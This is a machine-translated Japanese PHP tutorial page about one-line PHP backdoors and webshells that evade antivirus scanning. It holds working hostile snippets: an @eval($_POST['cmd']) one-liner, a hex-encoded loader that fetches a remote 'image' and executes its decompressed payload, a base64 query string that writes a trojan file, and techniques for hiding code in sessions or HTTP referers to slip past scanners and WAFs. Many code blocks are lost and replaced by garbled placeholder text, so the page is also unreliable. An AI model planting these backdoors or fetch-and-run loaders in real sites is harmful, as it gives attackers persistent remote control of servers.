ホームページ  >  記事  >  バックエンド開発  >  チェックや強制終了を行わずに単純な PHP バックドアを特定する方法、チェックや強制終了を行わない PHP バックドアを特定する方法を教える_PHP チュートリアル

チェックや強制終了を行わずに単純な PHP バックドアを特定する方法、チェックや強制終了を行わない PHP バックドアを特定する方法を教える_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-12 09:08:251150ブラウズ

チェックと強制終了を行わない単純な PHP バックドア、チェックと強制終了を行わない PHP バックドアを識別する方法を教えます

最も一般的なバックドアの 1 つは、一文で次のように記述できます

リーリー

またはこれ

リーリー

tudouya クラスメートが

を使用した FREEBUF で [構築テクニック] を提供しました

コードをコピーします コードは次のとおりです:

構築生成、もちろん直感的すぎる場合はこのように書くこともできます

コードをコピーします コードは次のとおりです:

次に、偽装する通常のコードを入力すると、単純な「アンチキル」シェルのサンプルが表示されます

史上最も簡単な PHP バックドアとして知られるものを見てみましょう

コードに直接移動します:

リーリー

実装原理は、PHP が ` 記号 (注: 一重引用符ではない) に含まれる内容をシステム コマンドに直接解析して実行することです。これで自由自在に異常な拡張が可能に!

同じ単純なコードを見てみましょう

リーリー

パスワードページ

最近、PHP に基づいて実装された Web シェルのサンプルをキャプチャしました。その独創的な動的コード生成方法と面倒な自己ページ偽装方法により、このサンプルを分析する過程で非常に楽しい気分になりました。次に、この素​​晴らしい Webshel​​l を一緒に楽しみましょう。

Webシェルのコードは次のとおりです:

リーリー

重要なのは、以下のコードを確認することです。

コードをコピーします コードは次のとおりです: sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())

ここで実行すると、実際には画像になります。復号化された画像のアドレスは次のとおりです。

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

次に、file_get_contents 関数を呼び出して画像を文字列に読み取り、substr が 3649 バイト以降のコンテンツを取得し、gzuncompress を呼び出して解凍して実際のコードを取得します。最後に、preg_replace の修飾子 e が呼び出され、悪意のあるコードが実行されます。ここで次のステートメントを実行して、悪意のあるサンプル コードを復元します。


コードをコピーします コードは次のとおりです: echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
) '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649));
?>


機能のない PHP を一文で非表示にする:

リーリー

$_POST['code'] の内容を $_SESSION['theCode'] に代入し、$_SESSION['theCode'] を実行します。注目すべき点は、署名コードがないことです。スキャン ツールを使用してコードをチェックしても、警告を発することはありません。これが目的です。

超隠された PHP バックドア:

リーリー

GET 関数を使用するだけでトロイの木馬になります;

使用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

実行後、カレントディレクトリにc.phpという一文のトロイの木馬が生成されますが、パラメータaがevalの場合はトロイの木馬の生成に失敗したというエラーが報告されますが、assertの場合も同様のエラーが報告されます。一言で言っても、このトロイの木馬はそのようなアプリケーションにまで及びます。

レベルリクエスト、PHPバックドアを実行するコード:

このメソッドは 2 つのファイル、ファイル 1 に実装されています

リーリー
ファイル 2

リーリー
HTTP リクエストで HTTP_REFERER を使用して、base64 でエンコードされたコードを実行してバックドア効果を実現します。一般に、WAF ではリファラーの検出が緩いか、まったく検出されません。このアイデアを使用して WAF をバイパスするのは良いことです。

私たちは、これらの PHP バックドア プログラムを学習する姿勢で扱います。多くの PHP バックドア コードを見ると、プログラマーがどれほど善意を持っているかがわかります。

http://www.bkjia.com/PHPjc/1054514.html

tru​​ehttp://www.bkjia.com/PHPjc/1054514.html技術記事チェックや強制終了を行わずに単純な PHP バックドアを特定する方法を説明します。最も一般的な 1 文のバックドアは、php @eval($_POST['cmd']); または php @assert($_POST[) のように記述できます。 'cmd ']);
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。